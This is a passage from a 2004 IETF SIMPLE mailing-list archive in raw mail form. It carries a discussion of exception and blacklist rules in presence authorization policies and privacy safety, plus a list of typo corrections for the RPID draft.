operation, i.e. if something goes wrong the end-result would be an empty =
set (same as with external lists within <identity>). The permissions =
that follow would then be applied to this set.=20

So there isn't anything like defining a rule which makes an exception to =
permissions given in another rule, which I understand is bad. The whole =
exception handling happens wihin the scope of <identity> element in a =
single rule.

Here's an example: Let's say that there are two rules, which provide the =
same permission. Identity-elements for those are defined like this:

Rule 1:
<identity>
      <any/>
      <except>joe@foo.com</except>
</identity>

Rule 2:
<identity>
      <any/>
      <except>bob@bar.net</except>
</identity>=20

Taking an union of these sets results in <all> and is according to the =
additiveness principle.

> Henning
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 18:30:15 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29428
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 18:30:15 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Hoi-0001Oj-UU
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 18:29:49 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2ONTmhm005369
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 18:29:48 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Hoi-0001OW-36
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 18:29:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29414
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 18:29:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Hoe-0003OF-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 18:29:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Hnc-0003KS-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 18:28:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Hn0-0003Gl-00; Wed, 24 Mar 2004 18:28:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Hmz-00019m-RQ; Wed, 24 Mar 2004 18:28:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6HmS-000187-3n
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 18:27:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29316
	for <simple@ietf.org>; Wed, 24 Mar 2004 18:27:23 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6HmP-0003DR-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:27:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6HlS-00039G-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:26:26 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Hka-00034n-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:25:32 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2ONOV407189;
	Thu, 25 Mar 2004 01:24:31 +0200 (EET)
X-Scanned: Thu, 25 Mar 2004 01:25:57 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2ONPvwm005744;
	Thu, 25 Mar 2004 01:25:57 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00oranNA; Thu, 25 Mar 2004 01:25:56 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2ONOCs20530;
	Thu, 25 Mar 2004 01:24:12 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 00:24:17 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BD@esebe018.ntc.nokia.com>
Thread-Topic: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQRqi6IXtpkI3ybSYutm963iJfD0wAQjpjQ
To: <hgs@cs.columbia.edu>, <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 22:24:17.0479 (UTC) FILETIME=[BED5D570:01C411EE]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 00:24:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

Inline:

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Henning Schulzrinne
> Sent: 24 March, 2004 16:09
> To: Jonathan Rosenberg
> Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: Re: supporitng blacklists, was: Re: [Simple]=20
> Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
>=20
>=20
>=20
>=20
> >> I think the concept of 'everybody gets to ask for=20
> permission before=20
> >> subscribing except bad guys A, B and C who I've already=20
> told to get=20
> >> lost' is useful and might implementable by an appropriate=20
> ordering of
> >>  actions. For example, if you order actions as
> >>
> >> known_reject (highest), permit, ask, dont_bother (lowest, default)
> >>
> >> the right thing happens. However, caveats about file merging apply.
> >=20

And I guess that one of the design goals was that if you have a rule =
that permits something, there can't be a rule which takes it away =
('known_reject' clearly gives out less than 'permit'), as if the rules =
come from different places and some of them are somehow not "executed", =
more information is revealed that what was the intention.=20

> >=20
> > Henning - I dont understand how this is privacy safe. In=20
> your ordering,=20
> > there is not a strictly increasing amount of information=20
> revealed as the=20
> > values increase.
>=20
> The idea is 'known reject' trumps all other values. Thus, if your=20
> identity matches such a rule, it gets bounced even if a more=20
> encompassing rule allows to request permission.
>=20

Still I guess this would be against the spirit of privacy safety?

> This is unnecessary if we agree that global blacklists are a bad idea=20
> even for the subscription (as opposed to information=20
> delivery) phase. My=20
> notion is only needed if you want to support the notion:
>=20
> "Everybody in the world, in any domain, gets to *ask* to=20
> subscribe to my=20
> presence, but Alice, Bob and Carol have already been told to=20
> take a hike=20
> and thus shouldn't even be able to ask."
>=20
> Is this the type of rule we want to be to support?
>=20

This is exactly what I'm trying to get supported (even if I made =
negative comments about the proposal above...)! Can someone explain what =
would the problem with

<identity>
      <any/>
      <except>joe@foo.com</except>
      <except>bob@bar.net</except>
</identity>=20

I see this so that the <identity> element defines a set with an "atomic" =
operation, i.e. if something goes wrong the end-result would be an empty =
set (same as with external lists within <identity>). The permissions =
that follow would then be applied to this set.=20

So there isn't anything like defining a rule which makes an exception to =
permissions given in another rule, which I understand is bad. The whole =
exception handling happens wihin the scope of <identity> element in a =
single rule.

Here's an example: Let's say that there are two rules, which provide the =
same permission. Identity-elements for those are defined like this:

Rule 1:
<identity>
      <any/>
      <except>joe@foo.com</except>
</identity>

Rule 2:
<identity>
      <any/>
      <except>bob@bar.net</except>
</identity>=20

Taking an union of these sets results in <all> and is according to the =
additiveness principle.

> Henning
>=20

Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 18:47:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00667
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 18:47:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I5y-0004sF-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 18:47:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6I56-0004oR-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 18:46:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I4P-0004kL-00; Wed, 24 Mar 2004 18:46:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6I4Q-0002p2-0X; Wed, 24 Mar 2004 18:46:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6I3x-0002kH-0o
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 18:45:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00503
	for <simple@ietf.org>; Wed, 24 Mar 2004 18:45:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I3t-0004ik-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:45:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6I2y-0004ga-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:44:32 -0500
Received: from opus.cs.columbia.edu ([128.59.20.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I2b-0004eH-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:44:09 -0500
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	(authenticated bits=0)
	by opus.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2ONh0qJ010722
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Wed, 24 Mar 2004 18:43:00 -0500 (EST)
Message-ID: <40621D04.6020205@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BD@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BD@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 18:43:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


> And I guess that one of the design goals was that if you have a rule
> that permits something, there can't be a rule which takes it away
> ('known_reject' clearly gives out less than 'permit'), as if the
> rules come from different places and some of them are somehow not
> "executed", more information is revealed that what was the intention.

Indeed; this variation violates this to some extent, but doesn't really 
reveal information. Again, I'm not proposing this, but it seems the best 
solution to the "blacklist A from asking" problem without breaking other 
things.


> Still I guess this would be against the spirit of privacy safety?

There are two kinds of privacy safety: data revealing and asking. Data 
revealing is really bad, allowing asking doesn't (directly) reveal 
information, but can be a nuisance, due to the need to say no again and 
again. (Just ask parents with small children about that...)

Privacy safety violations occur if removal of a rule provides more data 
than before. Removal of this rule doesn't directly provide more data, 
but allows A to be more of a nuisance. Any exception rule will have (at 
least) this property and may, if done carelessly, also reveal 
information directly.


> <identity> <any/> <except>joe@foo.com</except> 
> <except>bob@bar.net</except> </identity>
> 
> I see this so that the <identity> element defines a set with an
> "atomic" operation, i.e. if something goes wrong the end-result would
> be an empty set (same as with external lists within <identity>). The
> permissions that follow would then be applied to this set.
> 
> So there isn't anything like defining a rule which makes an exception
> to permissions given in another rule, which I understand is bad. The
> whole exception handling happens wihin the scope of <identity>
> element in a single rule.

I think this can work, with the caveats of the danger of revealing 
information.

> 
> Here's an example: Let's say that there are two rules, which provide
> the same permission. Identity-elements for those are defined like
> this:
> 
> Rule 1: <identity> <any/> <except>joe@foo.com</except> </identity>
> 
> Rule 2: <identity> <any/> <except>bob@bar.net</except> </identity>
> 
> Taking an union of these sets results in <all> and is according to
> the additiveness principle.
> 
> 
>> Henning
>> 
> 
> 
> Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 18:48:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00733
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 18:48:09 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6I62-0002wQ-Uh
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 18:47:43 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2ONlgV9011301
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 18:47:42 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6I62-0002wB-Rg
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 18:47:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00687
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 18:47:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I5z-0004sK-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 18:47:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6I57-0004oY-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 18:46:46 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I4P-0004kL-00; Wed, 24 Mar 2004 18:46:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6I4Q-0002p2-0X; Wed, 24 Mar 2004 18:46:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6I3x-0002kH-0o
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 18:45:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00503
	for <simple@ietf.org>; Wed, 24 Mar 2004 18:45:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I3t-0004ik-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:45:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6I2y-0004ga-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:44:32 -0500
Received: from opus.cs.columbia.edu ([128.59.20.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6I2b-0004eH-00
	for simple@ietf.org; Wed, 24 Mar 2004 18:44:09 -0500
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	(authenticated bits=0)
	by opus.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2ONh0qJ010722
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Wed, 24 Mar 2004 18:43:00 -0500 (EST)
Message-ID: <40621D04.6020205@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BD@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3BD@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 18:43:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


> And I guess that one of the design goals was that if you have a rule
> that permits something, there can't be a rule which takes it away
> ('known_reject' clearly gives out less than 'permit'), as if the
> rules come from different places and some of them are somehow not
> "executed", more information is revealed that what was the intention.

Indeed; this variation violates this to some extent, but doesn't really 
reveal information. Again, I'm not proposing this, but it seems the best 
solution to the "blacklist A from asking" problem without breaking other 
things.


> Still I guess this would be against the spirit of privacy safety?

There are two kinds of privacy safety: data revealing and asking. Data 
revealing is really bad, allowing asking doesn't (directly) reveal 
information, but can be a nuisance, due to the need to say no again and 
again. (Just ask parents with small children about that...)

Privacy safety violations occur if removal of a rule provides more data 
than before. Removal of this rule doesn't directly provide more data, 
but allows A to be more of a nuisance. Any exception rule will have (at 
least) this property and may, if done carelessly, also reveal 
information directly.


> <identity> <any/> <except>joe@foo.com</except> 
> <except>bob@bar.net</except> </identity>
> 
> I see this so that the <identity> element defines a set with an
> "atomic" operation, i.e. if something goes wrong the end-result would
> be an empty set (same as with external lists within <identity>). The
> permissions that follow would then be applied to this set.
> 
> So there isn't anything like defining a rule which makes an exception
> to permissions given in another rule, which I understand is bad. The
> whole exception handling happens wihin the scope of <identity>
> element in a single rule.

I think this can work, with the caveats of the danger of revealing 
information.

> 
> Here's an example: Let's say that there are two rules, which provide
> the same permission. Identity-elements for those are defined like
> this:
> 
> Rule 1: <identity> <any/> <except>joe@foo.com</except> </identity>
> 
> Rule 2: <identity> <any/> <except>bob@bar.net</except> </identity>
> 
> Taking an union of these sets results in <all> and is according to
> the additiveness principle.
> 
> 
>> Henning
>> 
> 
> 
> Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 25 09:29:10 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23870
	for <simple-archive@ietf.org>; Thu, 25 Mar 2004 09:29:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Vr5-0000j9-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 09:29:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Vox-0000M6-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 09:27:00 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Vn1-0007ly-02; Thu, 25 Mar 2004 09:24:59 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B6VXo-0005U7-Um; Thu, 25 Mar 2004 09:09:21 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6VXX-0006cX-Vl; Thu, 25 Mar 2004 09:08:59 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Sv4-0003rP-CB
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 06:21:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15299
	for <simple@ietf.org>; Thu, 25 Mar 2004 06:21:01 -0500 (EST)
From: eva-maria.leppanen@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Sv0-0004ur-00
	for simple@ietf.org; Thu, 25 Mar 2004 06:21:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Su3-0004pm-00
	for simple@ietf.org; Thu, 25 Mar 2004 06:20:03 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Stg-0004kY-00
	for simple@ietf.org; Thu, 25 Mar 2004 06:19:40 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2PBJWA02790;
	Thu, 25 Mar 2004 13:19:32 +0200 (EET)
X-Scanned: Thu, 25 Mar 2004 13:19:01 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2PBJ18k009736;
	Thu, 25 Mar 2004 13:19:01 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00zTSNLE; Thu, 25 Mar 2004 13:18:58 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2PBIvs12837;
	Thu, 25 Mar 2004 13:18:57 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 13:18:56 +0200
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 13:18:54 +0200
Received: from trebe003.NOE.Nokia.com ([172.22.232.175]) by esebe018.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 13:18:54 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
Message-ID: <B744152568467B468EDFD4B6A5D92414011263@trebe003.europe.nokia.com>
Thread-Topic: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
Thread-Index: AcQQsPpMJC1zEGHaS6mNofFPlhcqOQBo3Y3w
To: <hgs@cs.columbia.edu>, <simple@ietf.org>
X-OriginalArrivalTime: 25 Mar 2004 11:18:54.0670 (UTC) FILETIME=[F5665EE0:01C4125A]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 13:18:53 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

I have the following comments (mainly just typos):

- Abstract: "typle" -> "type"
- 4.1: "urn:ietf:params:xml:ns:pidf:status:rpid-tuple" -> "status" to be =
removed
- 4.2: the sentence after the list of pre-defined activities states that =
"The <activity> element
MAY be qualified with the 'since' and 'until'..." -> I did not find =
support for this from XML Schema.
- 4.3 (Class): Also the authorisation use could be mentioned because the =
class element has quite a central
role in presence authorization.
- 4.4 "<contacttype>" -> "<contact-type>"
- 4.5 (Idle): the 'since' attribute could be mentioned in the text.
- 4.7 (Privacy): The example talks still about the "quiet" value.
- 4.7 (the last sentence): "The placetype element MAY be qualified with =
..." -> "The <privacy> element MAY..."
- 5.1 (XML example / tuple having id=3D"x765"):
	- outermost <ep:activity> </ep:activity> should be <ep:activities> and =
</ep:activities>=20
	- <ep:privacy> has the value "quiet" which is no more supported by the =
<privacy> element
	- according to XML Schema the 'since' information should be provided by =
XML attribute instead of <idle> element's value 	as <ep:idle =
since=3D"2003..."/>
- 5.1 (XML example / tuple having id=3D"bs9r"):
	- <ep:privacy> has the value "quiet" which is no more supported by the =
<privacy> element
- 5.1 (XML example / tuple having id=3D"eg92n"):=20
	- namespace definition for 'nn' is missing (<nn:blah>)
- 6.1 and 6.2 (XML schemas): I did not find any reason to define the =
pidf namespace in the schema (see xmlns:pidf=3D"urn...")

BR, Eva

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Henning Schulzrinne
> Sent: 23 March, 2004 01:23
> To: simple@ietf.org
> Subject: Re: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
>=20
>=20
> I believe that this draft incorporates all comments received=20
> so far and=20
> is ready for WGLC.
>=20
> Internet-Drafts@ietf.org wrote:
>=20
> > A New Internet-Draft is available from the on-line=20
> Internet-Drafts directories.
> > This draft is a work item of the SIP for Instant Messaging=20
> and Presence Leveraging Extensions Working Group of the IETF.
> >=20
> > 	Title		: RPID: Rich Presence: Extensions to=20
> the Presence Information Data Format (PIDF)
> > 	Author(s)	: H. Schulzrinne, V. Gurbani, P.=20
> Kyzivat, J. Rosenberg
> > 	Filename	: draft-ietf-simple-rpid-03.txt
> > 	Pages		: 19
> > 	Date		: 2004-3-22
> > =09
> > The Rich Presence Information Data Format (RPID) adds=20
> elements to the
> >    Presence Information Data Format (PIDF) that provide additional
> >    information about the presentity and its contacts.  The=20
> information
> >    is designed so that much of it can be derived=20
> automatically, e.g.,
> >    from calendar files or user activity.
> >=20
